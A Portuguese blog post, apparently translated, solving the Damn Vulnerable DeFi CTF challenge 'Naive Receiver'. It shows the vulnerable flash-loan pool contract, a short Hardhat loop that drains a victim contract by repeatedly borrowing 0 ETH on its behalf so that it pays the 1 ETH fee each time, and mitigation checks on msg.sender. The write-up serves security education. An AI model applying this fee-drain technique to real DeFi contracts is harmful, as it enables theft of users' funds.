WEB3DEV

Cover image for Desafios Damn Vulnerable DeFi: #2 Naive Receiver
Panegali
Panegali

Posted on

Desafios Damn Vulnerable DeFi: #2 Naive Receiver

Damn Vulnerable DeFi (Maldita DeFi Vulnerável) é uma série de jogos CTF (Capture the flag ou Capturar o sinalizador) onde o jogador deve encontrar uma vulnerabilidade para quebrar ou roubar um protocolo.

Esses jogos educativos são muito interessantes no sentido de que eles imitam aplicativos reais (flashloans, pool, yield, …), permitindo-nos aprender não apenas sobre segurança na web3, mas também o que é DeFi.

Link aqui: https://www.damnvulnerabledefi.xyz/index.html

Nesta série de artigos, apresentarei os desafios e suas soluções.

#2 Naive Receiver (Destinatário Ingênuo)

Existe um pool de empréstimos que oferece empréstimos relâmpago de Ether bastante caros, que tem 1000 ETH em saldo.
Você também vê que um usuário implantou um contrato com 10 ETH em saldo, capaz de interagir com o pool de empréstimos e receber empréstimos relâmpago de ETH.
Drene todos os fundos ETH do contrato do usuário. Fazer isso em uma única transação é uma grande vantagem.

Descrição do protocolo

Em primeiro lugar, precisamos entender como funciona o protocolo.

O protocolo é composto por 2 contratos principais:

Este é o pool que oferece flashloans (empréstimos relâmpagos). O usuário tem que pagar uma taxa, que é de 1 ETH (enorme em comparação com o que é acessível em Dapps reais)
Ele interage com o usuário através de um método que deve ser implementado, receiveEther.

Trata-se de um contrato pronto para uso capaz de interagir com o NaiveReceiverLenderPool que já implementa o método receiveEther
Nesta versão do protocolo o usuário não é obrigado a utilizar este template, basta ter um método receiveEthera ser chamado pelo pool.

Notas rápidas após a primeira leitura:

NaiveReceiverLenderPool

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";

/**
 * @title NaiveReceiverLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract NaiveReceiverLenderPool is ReentrancyGuard {

    using Address for address;

    uint256 private constant FIXED_FEE = 1 ether; // não é o empréstimo relâmpago mais barato

    function fixedFee() external pure returns (uint256) {
        return FIXED_FEE;
    }

    function flashLoan(address borrower, uint256 borrowAmount) external nonReentrant {

        uint256 balanceBefore = address(this).balance;
        require(balanceBefore >= borrowAmount, "Não há ETH suficiente no pool");


        require(borrower.isContract(), "O tomador de empréstimo deve ser um contrato implantado");
        // Transfere ETH e manuseia o controle para o receptor
        borrower.functionCallWithValue(
            abi.encodeWithSignature(
                "receiveEther(uint256)",
                FIXED_FEE
            ),
            borrowAmount
        );

        require(
            address(this).balance >= balanceBefore + FIXED_FEE,
            "Empréstimo relâmpago não foi pago"
        );
    }

    // Permite depósitos de ETH
    receive () external payable {}
}
Enter fullscreen mode Exit fullscreen mode
  1. Ele usa a biblioteca de endereços OppenZeppelin, que melhora o send nativo e a função call/delegatecall/staticcall do Solidity, verificando que os endereços de destino são contratos inteligentes e que seu saldo de ETH é suficiente para a transação.
  2. Ele também usa a biblioteca OppenZeppelin ReentrancyGuard.
  3. Tem uma taxa fixa de 1 ETH.
  4. A função flashLoan chama o contrato do usuário FlashLoanReceiver usando o método {Address.functionCallWithValue}, que verifica se o destino é um contrato.
  5. No final, exige que o empréstimo seja reembolsado com uma taxa adicional de 1 ETH.

Mas o que não verifica é que o tomador do empréstimo é o próprio msg.sender.

Isso significa que posso fazer um empréstimo em nome de qualquer usuário que eu quiser.

Solução

Foi isso que implementei no arquivo challenge.js, escrevendo este loop na seção Exploit:

   it('Exploit', async function () {
        /** CODIFIQUE SEU EXPLOIT AQUI */  
        for (let i=0; i<10; i++) {
            await this.pool.connect(attacker).flashLoan(this.receiver.address, ethers.utils.parseEther("0.0"));
        }
    });
Enter fullscreen mode Exit fullscreen mode

Cada vez que esta linha de código é executada, o método pool flashLoan(address borrower, uint256 borrowAmount)é chamado com o endereço do contrato da vítima como o tomador do empréstimo e 0 ETH como o valor do empréstimo.

E, conforme descrito no 4º ponto acima, o pool de credores chama o endereço do tomador do empréstimo (portanto, a vítima), empresta a ele 0 ETH e pede que ele devolva 0 ETH (empréstimo) + 1 ETH (taxa).

Ao fazer isso 10 vezes, o contrato da vítima é drenado de todos os seus ethers, e tudo o que me custou foram as taxas de gás para as 10 transações…

Se você executar o teste usando:

>npx hardhat test .\test\naive-receiver.challenge.js
Enter fullscreen mode Exit fullscreen mode

O teste deve passar, o que significa que você resolveu o desafio.

Não me preocupei em implementar a “grande vantagem” no desafio, pedindo que fizéssemos isso em apenas uma transação, pois isso é trivial e talvez você mesmo possa tentar.

Isso exigirá a criação de um contrato que chamará o pool e, em seguida, chamará nosso contrato usando a biblioteca web3.

Ao fazer isso, você economizará 9 transações e, portanto, as taxas de gás para essas transações (mas você terá que pagar a taxa de gás para a implantação do contrato).

Etapas de mitigação recomendadas

Uma maneira simples de se proteger contra isso seria restringir o msg.sender para ser o próprio contrato:

require (borrower == msg.sender, "somente o contrato do tomador do empréstimo pode chamar este método)
Enter fullscreen mode Exit fullscreen mode

Ou para forçar os contratos de empréstimo a implementar uma variável pública ownere verificar se msg.sender é o proprietário do contrato de empréstimo:

require( msg.sender == borrower.owner(), "msg.sender não é o proprietário")
Enter fullscreen mode Exit fullscreen mode

Se estiver usando o primeiro método, consideraria ter cuidado com a reentrância.

Espero que tenham gostado deste artigo e até a próxima para um novo desafio!


Artigo escrito por Salah I. e traduzido por Marcelo Panegali.

Latest comments (0)